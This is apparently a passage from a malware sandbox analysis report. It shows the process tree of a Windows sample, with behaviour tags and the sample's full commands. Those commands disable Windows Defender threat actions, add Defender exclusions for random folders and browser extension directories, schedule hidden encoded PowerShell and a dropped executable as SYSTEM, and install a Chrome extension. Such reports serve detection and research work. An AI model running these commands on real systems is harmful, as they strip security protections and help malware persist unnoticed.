Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                2⤵
                                                                • Drops file in System32 directory
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2476
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:932
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                      4⤵
                                                                        PID:1232
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:4360
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:2532
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4948
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:4752
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:4060
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:2388
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:3256
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:3440
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                      3⤵
                                                                                        PID:1000
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                        3⤵
                                                                                          PID:1268
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                          3⤵
                                                                                            PID:2780
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                            3⤵
                                                                                              PID:5004
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                              3⤵
                                                                                                PID:4584
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                3⤵
                                                                                                  PID:1172
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                  3⤵
                                                                                                    PID:3120
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                    3⤵
                                                                                                      PID:4008
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                      3⤵
                                                                                                        PID:572
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                        3⤵
                                                                                                          PID:564
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                          3⤵
                                                                                                            PID:2748
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                            3⤵
                                                                                                              PID:2448
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:4984
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:4760
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:1952
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:4120
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:3488
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:2732
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2024
                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                          2⤵
                                                                                                                          • Drops file in System32 directory
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1508
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:2848
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                4⤵
                                                                                                                                  PID:1932
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:4060
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:1376
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:4856
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:3440
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:1000
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:1268
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:2780
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:1192
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:3168
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4092
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4132
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4008
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:572
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2916
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4368
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2448
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:3836
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:2352
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2504
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /CREATE /TN "gonHMwdrV" /SC once /ST 03:01:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:3372
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /run /I /tn "gonHMwdrV"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:4424
                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                      schtasks /DELETE /F /TN "gonHMwdrV"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2580
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /CREATE /TN "ZJggANjsYpCqsGjEe" /SC once /ST 08:40:52 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe\" UK /oVsite_idBLl 385118 /S" /V1 /F
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                        PID:2888
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:2024
                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                          schtasks /run /I /tn "ZJggANjsYpCqsGjEe"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:5012
                                                                                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                                                                                          C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                                                          • Enumerates connected drives
                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:2596
                                                                                                                                                                          • C:\Windows\System32\MsiExec.exe
                                                                                                                                                                            C:\Windows\System32\MsiExec.exe -Embedding 767ED4BC1BB7D24A22E54809F410B046
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                            PID:3168
                                                                                                                                                                          • C:\Windows\System32\MsiExec.exe
                                                                                                                                                                            C:\Windows\System32\MsiExec.exe -Embedding 7103C505192EA51A45997051DFC43D35 E Global\MSI0000
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Drops file in Drivers directory
                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                            PID:2748
                                                                                                                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding 3F2DD9F9D2C40A2A39569047A1ABA662 M Global\MSI0000
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:3588
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                            PID:2120
                                                                                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:4928
                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:3256
                                                                                                                                                                              • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                gpscript.exe /RefreshSystemParam
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:3984
                                                                                                                                                                                • C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe
                                                                                                                                                                                  C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe UK /oVsite_idBLl 385118 /S
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  • Drops Chrome extension
                                                                                                                                                                                  • Drops desktop.ini file(s)
                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                  PID:1020
                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                    schtasks /DELETE /F /TN "bCAdHbOFiqtMCRhbmR"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2492
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:4424
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1340
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                          2⤵
